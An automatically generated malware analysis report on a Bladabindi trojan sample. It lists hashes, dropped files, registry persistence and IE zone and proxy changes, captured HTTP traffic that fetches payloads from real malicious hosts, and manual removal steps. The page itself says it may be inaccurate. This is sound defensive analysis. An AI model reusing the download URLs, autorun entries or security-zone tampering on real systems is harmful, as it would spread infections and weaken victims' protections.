Trojan.MSIL.Bladabindi.2_035581067d

by malwarelabrobot on May 27th, 2014 in Malware Descriptions.

Gen:Variant.Strictor.53703 (AdAware), Trojan.MSIL.Bladabindi.2.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 035581067d77a40dd03c92e5e9f22b14
SHA1: 94925fc23e110b1213572944f295c33a6ecfeba7
SHA256: 065b0428ead38159fa4b1391a6a8021567f6eaa6da7dfc73cd3445397b6e6549
SSDeep: 6144:5uIlWqB ihabs7Ch9KwyF5LeLodp2D1Mmakda0qLWrGCycF7JRwuipD3CB:M6Wq4aaE6KwyF5L0Y2D1PqLW1ychrwXQ
Size: 383961 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPolyXv05_v6
Company: no certificate found
Created at: 2012-01-29 23:32:28
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1908
WScript.exe:1980

The Trojan injects its code into the following process(es):

WinUpdat.exe:1124

File activity

The process %original file name%.exe:1908 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (1345 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\WinUpdat.vbs (157 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\WinUpdat.exe (2609 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (196 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (0 bytes)

The process WinUpdat.exe:1124 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Redox2\Redox.exe (249072 bytes)
%Documents and Settings%\%current user%\Application Data\Redox2\Ionic.Zlib.dll (6996 bytes)

The process WScript.exe:1980 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Start Menu\Programs\Startup\WinUpdat.vbs (180 bytes)

Registry activity

The process %original file name%.exe:1908 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B1 16 19 23 33 8E 78 16 D8 2F C3 8E 8B 1C 80 8C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%System%]
"wscript.exe" = "Microsoft (R) Windows Based Script Host"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process WinUpdat.exe:1124 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "19 6F A4 8C E7 5B 48 3C 82 5B 3E C0 23 04 CC 91"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process WScript.exe:1980 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"NetHood" = "%Documents and Settings%\%current user%\NetHood"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Fonts" = "%WinDir%\Fonts"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"PrintHood" = "%Documents and Settings%\%current user%\PrintHood"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"SendTo" = "%Documents and Settings%\%current user%\SendTo"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\WinUpdat]
"(Default)" = "false - 5/26/2014"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A 6B D1 FF 46 C0 36 F9 98 5D EA BF 2F B0 21 2E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Recent" = "%Documents and Settings%\%current user%\Recent"
"Favorites" = "%Documents and Settings%\%current user%\Favorites"
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"WinUpdat" = "wscript.exe //B C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\WinUpdat.vbs"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"WinUpdat" = "wscript.exe //B C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\WinUpdat.vbs"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
0d37762edbb7eafaa99d8f982dd2604c c:\Documents and Settings\"%CurrentUserName%"\Application Data\Redox2\Ionic.Zlib.dll
148d3be42bd097607d32193b3696d652 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\WinUpdat.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 3, 3, 8, 1
File Description:
Comments:
Language: Language Neutral

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 458752 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 462848 274432 270848 5.49588 dde7763f3780b9cf00e94dd1964b1e02
.rsrc 737280 8192 5632 2.90925 37d095cabf1d2362297eccf97b96895b

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://rguard.redoxbot.net/updater/files.txt 108.162.197.178
hxxp://rguard.redoxbot.net/updater/dl3/Ionic.Zlib.dll 108.162.197.178
hxxp://rguard.redoxbot.net/updater/dl3/Redox.exe 108.162.197.178
tchikangel.no-ip.biz 197.202.177.46


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /updater/files.txt HTTP/1.1
Host: rguard.redoxbot.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Mon, 26 May 2014 13:32:23 GMT
Content-Type: text/plain
Content-Length: 146
Connection: keep-alive
Set-Cookie: __cfduid=da8ec18f16103fdfb782243de921e07631401111143548; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.redoxbot.net; HttpOnly
Last-Modified: Tue, 20 May 2014 14:21:38 GMT
Accept-Ranges: bytes
ETag: "e02dd03674cf1:0"
X-Powered-By: ASP.NET
CF-RAY: 130a56a72b870773-EWR
.....\Ionic.Zlib.dll.....\Redox.exe.. ..\RProtocol.dll.|T..\zlib.net.d
ll.....\Cache\RedoxCache.exe.. ..\MITM\No.Ankama.dll.V...\MITM\RMITM.e
xe........


GET /updater/dl3/Ionic.Zlib.dll HTTP/1.1


Host: rguard.redoxbot.net


HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Mon, 26 May 2014 13:32:24 GMT
Content-Type: application/x-msdownload
Content-Length: 102400
Connection: keep-alive
Set-Cookie: __cfduid=d40308749637a69faa811d42bc5fadf8f1401111143992; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.redoxbot.net; HttpOnly
Last-Modified: Sun, 07 Aug 2011 01:01:51 GMT
Accept-Ranges: bytes
ETag: "235931979d54cc1:0"
X-Powered-By: ASP.NET
CF-RAY: 130a56a9fbf90773-EWR
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L.....=N
...........!.....`... ......Ns... ........... ........................
......;[email protected]...........
.................r............................................... ....
........... ..H............text...TS... ...`.................. ..`.rsr
c...h............p..............@[email protected]............................
[email protected]................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<< skipped >>>

GET /updater/dl3/Redox.exe HTTP/1.1


Host: rguard.redoxbot.net


HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Mon, 26 May 2014 13:32:26 GMT
Content-Type: application/octet-stream
Content-Length: 2823168
Connection: keep-alive
Set-Cookie: __cfduid=d9f2b8216101cd9f3d79a3a74896a53e51401111145981; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.redoxbot.net; HttpOnly
Last-Modified: Tue, 20 May 2014 14:20:59 GMT
Accept-Ranges: bytes
ETag: "012dcb83674cf1:0"
X-Powered-By: ASP.NET
CF-RAY: 130a56b66dca0773-EWR
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...zd{S
.................r............... ........@.. ........................
 ...../.....@.................................`...K...................
.........@....................................................... ....
........... ..H ...........text....p... ...r.......... ....... ..`.rsr
c................v...... .......@[email protected].......@.............. .....
[email protected].....`......................@..@........................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
....................................................H.......@... .....
[email protected]..........(...
........s....o....(E...s.........s......(.......... .........&..E....W
.......Q...............3...H...{...................U...x..............
.?...V...w.................o.... ......o....ao..........(.... B?.. .&g
t;.yYZ......d.......8V............& .&...... ....o.............o......
... ....o..........8...........0.& .&.....8.........&....Z..X ....^...
....8......... .-.# w.J.Z..&.s....s......(......oD...o.....s......
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

WScript.exe_1980:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
KERNEL32.dll
NTDLL.DLL
USER32.dll
msvcrt.dll
OLEAUT32.dll
ole32.dll
VERSION.dll
wscript.exe
advapi32.dll
kernel32.dll
%s%s.DLL
wintrust.dll
%d.%d
Invalid parameter passed to C runtime function.
SOFTWARE\Classes\%s\%s
0x%8X
CreateURLMonikerEx
urlmon.dll
@@8X%u
RegCreateKeyA
RegCloseKey
RegOpenKeyA
RegDeleteKeyA
RegCreateKeyExW
RegCreateKeyExA
RegOpenKeyExW
ReportEventW
RegEnumKeyExA
RegOpenKeyExA
GetProcessHeap
GetCPInfo
MsgWaitForMultipleObjects
EnumThreadWindows
wscript.pdb
stdole2.tlbWWW
.ObjectWW
KeyW
WindowsFolderWWW4
%CopyFolderWWL
Windows Script Host (Ver 5.6)W)
Windows Script Host Application InterfaceW%
Windows Script Host Object
ebstrCmdLineW
78t8x8
5Q5F5
Software\Microsoft\Windows Script Host\Settings
Windows Script Host
WScript.CreateObject
WSHRemote.Execute
Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}
.\%s.mui
.\%s\%s.mui
%s\%s.mui
%s\%s\%s.mui
%s\%s
Microsoft (R) Windows Based Script Host
5.7.0.16599
Microsoft (R) Windows Script Host
(Windows Script Host (debugging disabled)
Windows Script Host Error
Windows Script Host Input Error
This Unicode version of Windows Script Host will only execute under Windows NT.
Please use the ANSI version of Windows Script Host."
WScript execution time was exceeded on script "%1!ls!".
Script execution was terminated.1Could not locate automation class named "%1!ls!".
Could not connect object.'Could not create object named "%1!ls!".1Initialization of the Windows Script Host failed.6Can't find script engine "%2!ls!" for script "%1!ls!".!Can't change default script host.=An attempt at saving your settings via the //S option failed.(Loading script "%1!ls!" failed (%2!ls!).
Loading your settings failed.,Execution of the Windows Script Host failed.,Unexpected error of the Windows Script Host._Windows Script Host access is disabled on this machine. Contact your administrator for details.
Missing job name.*Unicode is not supported on this platform.
Command line options are saved.4The default script host is now set to "wscript.exe".4The default script host is now set to "cscript.exe".,Successful execution of Windows Script Host.3Successful remote execution of Windows Script Host.
Win32 Error 0x%X
Windows Script Host(Windows Script Host (debugging disabled)
Usage: WScript scriptname.extension [option...] [arguments...]
Use engine for executing script
Changes the default script host to CScript.exe
Changes the default script host to WScript.exe (default)
Prevent logo display: No banner will be shown at execution time
#WScript Error - Windows Script Host!Input Error - Windows Script HostlThis Unicode version of WScript will only execute under Windows NT.
%6!ls! WScript - Script Execution Error!Windows Script Host Remote Script/Remote script object can only be executed once. Unable to execute remote script.


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:1908
    WScript.exe:1980

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\aut1.tmp (1345 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\WinUpdat.vbs (157 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\WinUpdat.exe (2609 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\aut2.tmp (196 bytes)
    %Documents and Settings%\%current user%\Application Data\Redox2\Redox.exe (249072 bytes)
    %Documents and Settings%\%current user%\Application Data\Redox2\Ionic.Zlib.dll (6996 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\Startup\WinUpdat.vbs (180 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "WinUpdat" = "wscript.exe //B C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\WinUpdat.vbs"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "WinUpdat" = "wscript.exe //B C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\WinUpdat.vbs"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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